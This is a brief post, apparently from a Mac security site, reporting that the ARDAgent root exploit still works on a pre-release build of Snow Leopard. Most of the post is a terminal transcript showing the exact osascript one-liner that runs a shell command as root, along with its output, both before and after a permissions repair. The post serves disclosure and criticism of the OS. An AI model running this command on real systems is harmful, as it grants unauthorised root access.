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ARDAgent: Here to Stay?

There are currently at least two well known wide open root exploits on Apple's 'rock solid' OS Snow Leopard.


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Last login: Tue Jul 8 00:59:22 on ttys000
$ uname -a
Darwin XXXXX.local 10.0.0d1 Darwin Kernel Version 10.0.0d1: Tue Jun 3 23:40:01 PDT 2008; root:xnu-1292.3~1/RELEASE_I386 i386
$ osascript -e 'tell application "ARDAgent" to do shell script "whoami"'
root
$ osascript -e 'tell application "ARDAgent" to do shell script "whoami"'
root
$ diskutil repairPermissions /
Started verify/repair permissions on disk2s2 FW1
[ + 0%..10%..20%..30%..40%..50%..60%..70%..80%..90%..100% ]
Finished verify/repair permissions on disk2s2 FW1
$ osascript -e 'tell application "ARDAgent" to do shell script "whoami"'
root

See Also
Learning Curve: Rooting 10.5.4
Industry Watch: Get Root on 10.5.4
Learning Curve: ARDAgent on Snow Leopard

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